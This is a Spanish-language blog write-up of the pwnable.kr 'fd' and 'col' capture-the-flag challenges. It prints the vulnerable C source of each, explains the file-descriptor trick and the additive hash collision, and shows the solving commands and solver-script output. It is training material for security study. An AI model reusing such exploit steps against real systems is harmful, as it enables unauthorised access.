Pwnable.kr Write Ups - fd, col

Publicada en Publicada en Explotación

Muy buenas a todos. En esta entrada haremos dos retos pwn usando dos scripts escritos en Python para su explotación.

"pwn" significa comprometer la seguridad o tener el control de un ordenador (servidor o PC), sitio web, dispositivo de puerta de enlace, o aplicación. - Wikipedia

Enlace de los retos: http://pwnable.kr/

pwnable fd (File Descriptor)

ssh fd@pwnable.kr -p2222 (pw:guest)

Nos conectamos al servidor vía SSH y localizamos 3 archivos: fd fd.c flag. Es muy importante saber que usuario disponemos, así que ejecuto id o whoami. El archivo fd.c es legible por el usuario fd -rw-r - r-- 1 root root 418
El binario tiene SUID bit y nosotros podemos ejecutarlo. -r-sr-x--- 1 fd_pwn fd 7322 fd
No podemos leer la solución del fichero flag. Una solución sería teniendo el codigo fuente vulnerable, ejecutar el binario pasando de forma correcta el parámetro y así obtener la flag.

Antes de nada ejecutamos el binario para ir obteniendo más información. Al ejecutarlo descubro que hay que introducir algún tipo de argumento como un número:

fd@ubuntu:~$ ./fd
pass argv[1] a number

Analizamos el código fuente vulnerable:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){ // No acepta menos que dos argumentos (el nombre del binario es el primero de todos), imprime help y sale
printf("pass argv[1] a number\n");
return 0;
}

// La función atoi convierte un string a integer
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;

// Lectura del File Descriptor int(argv[1] - 0x1234)
len = read(fd, buf, 32);

// Si strcmp("LETMEWIN\n", buf) returns 0 (matches), imprime la flag
if(!strcmp("LETMEWIN\n", buf)){
printf("good job 🙂\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

La función atoi convierte un String en valor entero. Es interesante saber qué es Linux File Descriptor. El valor 0 es stdin, así que sabiendo cómo es el valor en decimal a 0x1234 = 4660 pasando como argumento 4660, eso es igual a read (0, buf, 32). Por lo tanto, necesitamos saber de antemano que stdin File Descriptor debe estar habilitado a 0, y se puede convertir a cero mediante el argumento pasado. Entonces si pongo 4660, fd == 0 y esto nos permite escribir (stdin):  LETMEWIN \ n y guardamos en el array del buffer.

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job 🙂
mommy! I think I know what a file descriptor is!!

Ejemplo usando el Script en este reto

root@kali:~/Desktop/Scripts# python3 file-descriptor.py --hexvalue 0x1234 --vulnapp fd
[+]Hexvalue: 0x1234
[+]Vulnapp: fd
LETMEWIN
good job 🙂
mommy! I think I know what a file descriptor is!!

Enlace del script en Github

pwnable col (Hash Collision Attack)

ssh col@pwnable.kr -p2222 (pw:guest)

Localizamos tres archivos interesantes, col, col.c y flag. Al igual que el reto anterior fd, flag es propiedad del usuario col2 y no tenemos permisos de lectura para la visualización, y una vez más el  SUID bit esta en el archivo col.

col@ubuntu:~$ ./col
usage : ./col [passcode]
col@ubuntu:~$ ./col AAAA
passcode length should be 20 bytes
col@ubuntu:~$ ./col AAAACCCCEEEEFFFFGGGG
wrong passcode.

Por lo tanto, nos pide que introduzcamos un password de 20 bytes, y obviamente lo compara con algo, ya que aparentemente nuestro password de 20 bytes es incorrecto. Echemos un vistazo al código fuente vulnerable:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){ // returns an unsigned long (at least 4 bytes)
int* ip = (int*)p; // casts p (20 bytes) to an integer pointer (4 bytes)
int i; // counter
int res=0; // holds the result
// Iterate over the char array 4 bytes a time, sum them up
for(i=0; i<5; i++){ // interates 5 times: (five 4 byte chucks of the input)
res += ip[i]; // adds each 4 byte chunk to the last
}
return res; // returns the 4 byte long
}

int main(int argc, char* argv[]){

// Check there are at least two arguments (including file name)
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}

// Check arg[v] is of exactly 20 bytes
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

// if hashcode matches returned value, print flag
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

Como puede observar en el código fuente, la longitud de la password debe ser de 20 bytes que es igual a 5 enteros (1 int = 4 bytes). La suma de los 5 valores enteros debe ser igual al valor 0x21DD09EC para obtener la flag. Vamos a encontrar 5 enteros que sean igual a 0x21DD09EC.

Si el hashcode = 0x21DD09EC y lo introducido como argumento es igual checkeandose en la función check_password(argv[1]), obtendremos la flag.  Al ser un binario de 32 bits, los punteros a int tendrán un tamaño de 4 bytes. Por lo tanto, nuestra función de hash toma nuestros 20 bytes, convierte el char * en un int * (5 fragmentos de 4 bytes) y suma los enteros a cada fragmento (chunk). Comprobemos el valor de 0x21DD09EC y dividamos por cinco:

$ python -c "print(0x21DD09EC)"
568134124
$ python -c "print(0x21DD09EC/5)"
113626824.8

Nuestro resultado no es un número redondo (float), usemos 4 fragmentos (chunk) de 113626824 y uno para el resto obteniendo la flag:

$ python -c "print(0x21DD09EC - 113626824*4)"
113626828
$ python -c "print(hex(113626824), hex(113626828))"
0x6c5cec8 0x6c5cecc
$ ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')")
daddy! I just managed to create a hash collision 🙂

Si quieres conocer más sobre este ataque lea este enlace: https://learncryptography.com/hash-functions/hash-collision-attack

Ejemplo usando el Script en este reto

root@kali:~/Desktop/Scripts# python3 hash-collision-attack.py --hashcode 0x21DD09EC --chunkbytes 5 --vulnapp col
[+]Hashcode: 0x21DD09EC
[+]Number of chunk bytes: 5
[+]Vulnapp: col
[+] EXPLOTATION:
 '\xc8\xce\xc5\x06' * 4
 '\xcc\xce\xc5\x06'
[+] PYTHON EXPLOIT CODE: ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')")
[+] RESULTS:
daddy! I just managed to create a hash collision 🙂

Enlace del script Github

Un saludo, Naivenom

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *